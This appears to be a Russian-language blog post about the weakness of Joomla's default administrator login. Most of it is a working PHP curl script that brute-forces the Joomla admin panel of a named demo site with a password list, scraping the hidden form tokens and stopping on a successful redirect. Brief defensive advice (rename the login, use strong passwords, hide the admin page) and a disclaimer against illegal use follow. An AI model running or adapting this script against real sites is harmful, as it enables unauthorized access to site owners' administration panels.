Подбор пароля к Joomla! админке

О небезопасности дефолтного логина в Joomla! я рассказывал в предыдущей заметке. Теперь же я постараюсь показать на конкретном примере почему это так. Также расскажу каким образом можно избежать такого рода уязвимости. Во время работы над связкой Curl + SimpleHtmlDom для парсинга ВКонтакте, меня вдруг осенило. Вот пример рабочего кода перебора пароля к админке Joomla!:
require_once 'simple_html_dom.php';
$url = 'http://demo15.cloudaccess.net/administrator/index.php';
$pass = array('pass0','pass1','pass2','demo','pass3','pass4');
$ch = curl_init();
foreach ($pass as $password){
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); // вроде куда сохранять
  curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
  $out = curl_exec($ch);

  $html = new simple_html_dom();
  $html->load($out);
  $post = 'username=demo&;passwd='.$password.'&lang=';
    foreach($html->find('input[type=hidden]') as $element)
      $post.= '&'.$element->name.'='.$element->value;

  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); // вроде откуда брать
  curl_setopt($ch, CURLINFO_HEADER_OUT,true);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  curl_exec($ch);
  echo curl_error($ch);
  $info = curl_getinfo($ch);
  echo $password.'...'.$info['http_code'].'
'; if ($info['http_code'] == 303) die('done!'); } curl_close ($ch); unset($ch);
Можно конечно рефакторить и оптимизировать до бесконечности, но пример робочий. Если мы захотим взломать админку простым перебором всех возможных вариантов паролей, например используя базы самых частых паролей или переберем возможные даты рождения, в сочитании с логином admin то есть вероятность того чтомы сможем подобрать пароль и никто нам в этом не помешает. Joomla! не имеет встроенной системы антифлуда, разве что хостинг, поэтому скорость перебора паролей будет зависить лишь от ширины канала и от скорости сервера. Для лучшей безопасности меняем логин, придумываем сложный пароль и перестаем светить логинами во френтенде. Чтобы не давать повод подумать лихого используйте jSecure - он поможет скрыть админку от чужых глаз. Пример приведен для ознакомления, не нужно его использовать для взлома - в большинстве случаев это незаконно. P.S.: Спасибо Мах за советы по усовершенствованию скрипта. :)

Comments